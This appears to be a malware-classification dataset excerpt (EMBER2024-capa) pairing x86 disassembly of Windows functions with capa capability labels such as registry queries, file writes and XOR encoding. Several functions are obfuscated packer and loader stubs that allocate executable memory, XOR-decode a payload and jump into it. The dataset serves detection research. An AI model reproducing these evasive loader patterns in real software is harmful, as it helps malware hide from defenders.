joyce8/EMBER2024-capa huggingface dataset:
Function at 0x434d3e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
test esi, esi
jne 0x434d57
call fcn.00426bed
mov esi, dword [eax + 0xc]
push 0x5742c0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
test ebx, ebx
je 0x434dad
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x434dac
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
test eax, eax
jne 0x434d8d
xor esi, esi
jmp 0x434da3
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 8]
push eax
push dword [ebp - 4]
call fcn.00434db5
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4a4aed
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov ecx, dword [esi + 4]
call fcn.0041284d
push 0xfffffffffffffff0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x4a4b29
call fcn.004a4d0f
mov dword [esi + 0xc], 1
jmp 0x4a4b2e
call fcn.004a4d0f
cmp dword [esi], 0
je 0x4a4b77
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov esi, dword [ebp + 0x10]
test eax, eax
jle 0x4a4b51
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, esi
call fcn.0040856f
jmp 0x4a4b62
push 0xff
mov ecx, esi
call fcn.00407579
push 0x100
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xffffffffffffffff
mov ecx, esi
call fcn.00408592
jmp 0x4a4b9b
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x4a4b9b
push dword [esi]
push dword [ebp - 4]
call fcn.00429712
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4a4c64
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
push dword [ebp + 0xc]
call fcn.004a4d0f
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x4a4cac
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0040856f
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00408592
jmp 0x4a4cb7
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.00429712
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x4a74a7
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, ecx
call fcn.0051a51e
call fcn.00426c41
cmp dword [eax + 0x14], 0
jne 0x4a74c2
mov ecx, esi
pop esi
jmp fcn.004a67ed
pop esi
ret
Function at 0x5166f4
Capabilities:
Get common file path
Get file system object information

Disassembly:
push esi
mov esi, ecx
call fcn.0045b060
call fcn.00426c41
cmp dword [eax + 0x14], 0
jne 0x51670f
mov ecx, esi
pop esi
jmp fcn.00515f72
pop esi
ret

Function at 0x55857e
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0055823e
Function at 0x10012bf8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x10012c07
pop dword [ebp - 0x14]
mov eax, 0x95fcc64b
sub eax, 0x85fb9a44
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x1240930b
sub dword [ebp - 0x24], 0xc3ee4dc0
mov dword [ebp - 0x20], 0xd36d5566
sub dword [ebp - 0x20], 0xa13a0921
mov dword [ebp - 0x1c], 0x88ee9d64
sub dword [ebp - 0x1c], 0x3ca25936
mov dword [ebp - 0x18], 0xb9b186e6
sub dword [ebp - 0x18], 0xb9b186e6
lea eax, [ebp - 0x24]
push eax
mov eax, 0xbecf6e24
add eax, 0x513291e0
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x447eae43
add dword [ebp - 0x24], 0x2ff3bb13
mov dword [ebp - 0x20], 0xf627cf20
add dword [ebp - 0x20], 0x4b449255
mov dword [ebp - 0x1c], 0xb708fff9
sub dword [ebp - 0x1c], 0x5399938d
mov dword [ebp - 0x18], 0x3c8bd3b
add dword [ebp - 0x18], 0xfc3742c5
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3cb06
push 0
call eax
mov ecx, 0x7fde92aa
sub ecx, 0x7fde4b25
xor esi, esi
add esi, eax
mov edi, 0x1002bc00
add edi, dword [ebp - 0x14]
mov edx, 0xcd03ec04
sub edx, 0x3b5d4b83
add dword [ebp - 8], 0x6647c7ae
mov ebx, dword [edi]
xor ebx, edx
sub dword [ebp - 8], 0xd9ec846d
mov dword [esi], ebx
mov dword [ebp - 4], 0xf0466a34
add esi, 4
add edi, 0x834da24e
add edi, 0x7cb25db6
loop 0x10012d20
add eax, 0xaf52af95
sub eax, 0xaf519eae
mov ebx, eax
add eax, 0xadc35140
add eax, 0x523caec5
mov ecx, 0x4131c457
add ecx, 0xcece3ba9
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4013ab
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0xffffffff
jne 0x4013e8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.MyWriteFile:_Error_in_SetFilePointer__X
call fcn.0040176e
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x401447
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401425
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.MyWriteFile:_Error_in_WriteFile__X
call fcn.0040176e
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x401447
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
je 0x401445
mov ecx, dword [ebp - 4]
push ecx
push str.MyWriteFile:_Only__d_bytes_written
call fcn.0040176e
add esp, 8
mov eax, 1
jmp 0x401447
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x403135
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x407b60
cmp edx, dword [eax]
je 0x403157
add eax, 8
inc ecx
cmp eax, 0x407bf0
jl 0x403148
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x407b60]
jne 0x403285
mov eax, dword [0x407fd8]
cmp eax, 1
je 0x40325f
test eax, eax
jne 0x403188
cmp dword [0x407aac], 1
je 0x40325f
cmp edx, 0xfc
je 0x403285
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4031bf
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404540
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403330
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x403202
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403330
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40640c
push edi
call fcn.00404630
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404540
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404550
lea eax, [ebp - 0xa0]
push 0x4063ec
push eax
call fcn.00404550
push dword [esi + 0x407b64]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404550
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004044b5
add esp, 0x2c
pop edi
jmp 0x403285
lea eax, [ebp + 8]
lea esi, [esi + 0x407b64]
push 0
push eax
push dword [esi]
call fcn.00403330
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..idata
mov ebx, 0x408ecc
nop
nop
mov ecx, 0xa2067c0
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x47256dd6
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x406234
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x406243
pop dword [ebp - 0xc]
mov eax, 0x93559259
add eax, 0x6ceacfea
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xf4ef993
add dword [ebp - 0x1c], 0x3f034bb8
mov dword [ebp - 0x18], 0x4bebe3f1
sub dword [ebp - 0x18], 0x19b897ac
mov dword [ebp - 0x14], 0x1c38b405
add dword [ebp - 0x14], 0x30139029
mov dword [ebp - 0x10], 0xa84c52c0
add dword [ebp - 0x10], 0x57b3ad40
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xc27503b3
add eax, 0x3dcb7d51
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x2855e8ce
sub dword [ebp - 0x1c], 0xb3e37f78
mov dword [ebp - 0x18], 0xa843b17b
add dword [ebp - 0x18], 0x9928affa
mov dword [ebp - 0x14], 0xfc227942
add dword [ebp - 0x14], 0x674cf32a
mov dword [ebp - 0x10], 0x91ee3f71
add dword [ebp - 0x10], 0x6e11c08f
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x18180105
sub eax, 0x17d78005
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3824b
push 0
call eax
mov ecx, 0xfd892661
add ecx, 0x277261a
mov edi, eax
mov edx, 0x4685ef83
add edx, 0xb9c0f47d
add edx, dword [ebp - 0xc]
mov esi, 0x6a19f12f
add esi, 0xe2ed4251
mov dword [ebp - 4], 0xe3029d90
mov ebx, dword [edx]
mov dword [ebp - 8], 0x59bda33a
xor ebx, esi
add dword [ebp - 4], 0xebc31c9c
mov dword [edi], ebx
add dword [ebp - 4], ecx
add edi, 0x359a94ee
add edi, 0xca656b16
add edx, 4
loop 0x406365
add eax, 0xfdfcd94d
add eax, 0x2044b72
mov ebx, eax
add eax, 5
mov ecx, 0x3218a69e
sub ecx, 0x31d8a69e
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc
Function at 0x401000
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
push str._JAVA_LAUNCHER_DEBUG
call fcn.00408d33
pop ecx
test eax, eax
je 0x401046
push str.Windows_original_main_args:_n
call fcn.00408bef
xor esi, esi
pop ecx
cmp dword [0x425628], esi
jle 0x401046
mov eax, dword [0x42562c]
push dword [eax + esi*4]
push esi
push str.wwwd_args__d____s_n
call fcn.00408bef
add esp, 0xc
inc esi
cmp esi, dword [0x425628]
jl 0x401027
call dword [sym.imp.kernel32.dll_GetCommandLineA]
push eax
call fcn.0040e212
call fcn.0040392e
mov edi, eax
lea eax, [edi*4 + 4]
push eax
call fcn.004039b0
pop ecx
pop ecx
mov esi, eax
call fcn.00403934
xor ecx, ecx
test edi, edi
jle 0x401080
mov edx, dword [eax + ecx*8]
mov dword [esi + ecx*4], edx
inc ecx
cmp ecx, edi
jl 0x401075
mov eax, dword [0x424010]
and dword [esi + ecx*4], 0
mov ebx, eax
test eax, eax
jne 0x401091
mov ebx, dword [esi]
mov ecx, dword [0x42400c]
test ecx, ecx
jne 0x40109d
mov ecx, dword [esi]
mov eax, dword [0x425420]
push 0
push 0
push 1
test eax, eax
setne dl
movzx edx, dl
push edx
push ebx
push ecx
push 0x41c24c
push 0x41c23c
push dword [0x425424]
push 1
push eax
push 1
push esi
push edi
call fcn.00403472
add esp, 0x38
pop edi
pop esi
pop ebx
ret
Function at 0x403e2f
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x424070]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x403ed2
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.0040e212
pop ecx
pop ecx
test eax, eax
je 0x403ebb
test ebx, ebx
je 0x403eaf
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.0040e212
pop ecx
pop ecx
test eax, eax
jle 0x403ebb
push ebx
call fcn.00403a18
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.004039f7
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x403e7c
xor edi, edi
cmp ebx, edi
jne 0x403ed6
xor eax, eax
jmp 0x403f42
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x403f05
call fcn.00403a18
pop ecx
cmp dword [ebp - 0x70], edi
je 0x403ed2
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x403ed2
call fcn.00403a18
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x403ef5
cmp dword [ebp - 0x70], edi
je 0x403f38
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.004039f7
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004098e8
add ebp, 0x9c
leave
ret
Function at 0x408f37
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x422550
call fcn.0040dcb0
xor esi, esi
cmp dword [0x4274a8], esi
jne 0x408df7
push esi
push esi
push 1
push esi
call dword [sym.imp.kernel32.dll_HeapSetInformation]
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x408e0a
mov dword [ebp - 0x1c], esi
jmp 0x408e40
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x408e05
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x408e05
cmp dword [eax + 0x400074], 0xe
jbe 0x408e05
xor ecx, ecx
cmp dword [eax + 0x4000e8], esi
setne cl
mov dword [ebp - 0x1c], ecx
call fcn.0040f80c
test eax, eax
jne 0x408e51
push 0x1c
call fcn.0040e212
pop ecx
call fcn.0040d831
test eax, eax
jne 0x408e62
push 0x10
call fcn.0040e212
pop ecx
call fcn.0040dae6
mov dword [ebp - 4], esi
call fcn.0040e212
test eax, eax
jns 0x408e7b
push 0x1b
call fcn.0040e212
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x4274a4], eax
call fcn.0040e212
mov dword [0x42565c], eax
call fcn.0040e212
test eax, eax
jns 0x408ea1
push 8
call fcn.0040e212
pop ecx
call fcn.0040f1ff
test eax, eax
jns 0x408eb2
push 9
call fcn.0040e212
pop ecx
push 1
call fcn.0040e212
pop ecx
cmp eax, esi
je 0x408ec5
push eax
call fcn.0040e212
pop ecx
mov eax, dword [0x425634]
mov dword [0x425638], eax
push eax
push dword [0x42562c]
push dword [0x425628]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], esi
jne 0x408ef2
push eax
call fcn.0040e212
call fcn.00408bb3
jmp 0x408f27
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.0040dcf5
ret
call fcn.0040e212
jmp 0x408dd6

Function at 0x4098e8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424070]
jne 0x4098f2
repz ret
jmp fcn.004114ed
Function at 0x6d2a2f99
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x6d2b1c4c]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.6d2ab2a6
mov ebx, eax
cmp ebx, esi
je 0x6d2a300c
lea ecx, [ebp - 0x74]
call fcn.6d2a13a3
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d2aa73d
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x6d2a3024
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.6d2a2f99
cmp eax, esi
jne 0x6d2a3056
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], pe_nt_image_headers32
call ebx
test eax, eax
je 0x6d2a3014
lea ecx, [ebp - 0x74]
call fcn.6d2a13a3
push dword [ebp - 0x78]
mov ecx, edi
call fcn.6d2a1883
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.6d2a13a3
mov eax, esi
jmp 0x6d2a2ff2
Function at 0x6d2aa534
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x6d2b1d84], 0
push esi
push edi
jne 0x6d2aa4aa
call fcn.6d2aa416
test eax, eax
je 0x6d2aa4ef
mov eax, dword [0x6d2b1d84]
cmp eax, 1
jne 0x6d2aa4cb
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x6d2aa4ef
jmp 0x6d2aa531
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x6d2aa531
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x6d2aa4f3
xor eax, eax
jmp 0x6d2aa531
mov eax, dword [esi]
push dword [0x6d2b1d84]
call edi
mov edi, eax
test edi, edi
je 0x6d2aa515
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x6d2aa531
lea edi, [esi + 0xff0]
push esi
push dword [0x6d2b1d84]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x6d2aa51b
mov eax, esi
pop edi
pop esi
ret
jmp 0x6d2aa496

Function at 0x6d2aa73d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d2b1c4c]
jne 0x6d2aa747
repz ret
jmp fcn.6d2aaee9

Function at 0x6d2ab2a6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x6d2ab2b5
pop dword [ebp - 0x28]
mov eax, 0x6d2ab2b5
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x37654
push 0
mov eax, 0xcf14ada9
sub eax, 0x61e9ec9d
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x48c8
xor esi, esi
add esi, eax
mov edi, 0x698c491a
add edi, 0x39f7ce6
add edi, dword [ebp - 0x28]
mov ebx, 0xcb71eaec
add ebx, 0x57fd2019
add dword [ebp - 0x20], 0xa2256233
mov edx, dword [edi]
xor dword [ebp - 0x24], edx
sub edx, ebx
mov dword [ebp - 0x1c], 0x1b7144b2
mov dword [esi], edx
xor dword [ebp - 0x20], eax
add esi, 4
add edi, 0xb1b8febb
add edi, 0x4e470149
loop 0x6d2ab30b
add eax, 0x115f3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x6d2a0000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x401c66
pop dword [ebp - 0x38]
mov eax, 0x45c54b7f
add eax, 0xba7ad0e7
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xc6710a36
add dword [ebp - 0x48], 0x87e13b15
mov dword [ebp - 0x44], 0x8d5c2a46
add dword [ebp - 0x44], 0xa4d721ff
mov dword [ebp - 0x40], 0xf9ee590c
sub dword [ebp - 0x40], 0xada214de
mov dword [ebp - 0x3c], 0x9705d0e
add dword [ebp - 0x3c], 0xf68fa2f2
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x151e394e
add dword [ebp - 0x48], 0x5f543008
mov dword [ebp - 0x44], 0x8e848205
sub dword [ebp - 0x44], 0x4d182090
mov dword [ebp - 0x40], 0x432d5e6
add dword [ebp - 0x40], 0x5f3c9686
mov dword [ebp - 0x3c], 0x4c83e627
add dword [ebp - 0x3c], 0xb37c19d9
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xc7d85c37
sub eax, 0xc7982c0b
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3488e
push 0
call eax
mov ecx, 0xe1c1b098
sub ecx, 0xe1c17061
mov ebx, eax
mov esi, 0x3af5a3ca
add esi, 0xc54acc36
add esi, dword [ebp - 0x38]
mov edi, 0x7bd902e0
sub edi, 0xfb6e6849
xor dword [ebp - 0x20], 0x8246b3a1
mov edx, dword [esi]
mov dword [ebp - 0x34], 0x46c1ec60
xor edx, edi
mov dword [ebp - 0x34], 0x73fb7691
mov dword [ebx], edx
xor dword [ebp - 0x10], ebx
add ebx, 0xc0f4480e
add ebx, 0x3f0bb7f6
add esi, 0x3bb03afc
add esi, 0xc44fc508
loop 0x401d83
add eax, 0xf3af
mov ebx, eax
add eax, 5
mov ecx, 0xe626f586
add ecx, 0x1a190a7a
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x900c236
Capabilities:
Get common file path

Disassembly:
push 0x224
mov eax, 0x90a819f
call fcn.09007445
cmp byte [ebp + 0x10], 0
mov edi, dword [ebp + 8]
push 0x1a
pop esi
push 0x2b
pop eax
cmove esi, eax
xor ebx, ebx
push 0x208
lea eax, [ebp - 0x218]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
mov eax, esi
or eax, 0x8000
cmp byte [ebp + 0xc], bl
push ebx
push ebx
cmovne esi, eax
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x900c292
xor al, al
jmp 0x900c2e2
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.0900cf2c
push dword [ebp + 0xc]
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], ebx
push str.Adobe
call fcn.0900d7af
test al, al
je 0x900c2d5
lea eax, [ebp - 0x230]
mov ecx, edi
push eax
call fcn.0905f025
mov ecx, edi
call fcn.0900e6d7
mov bl, al
lea ecx, [ebp - 0x230]
call fcn.0905f025
mov al, bl
call fcn.090091e6
ret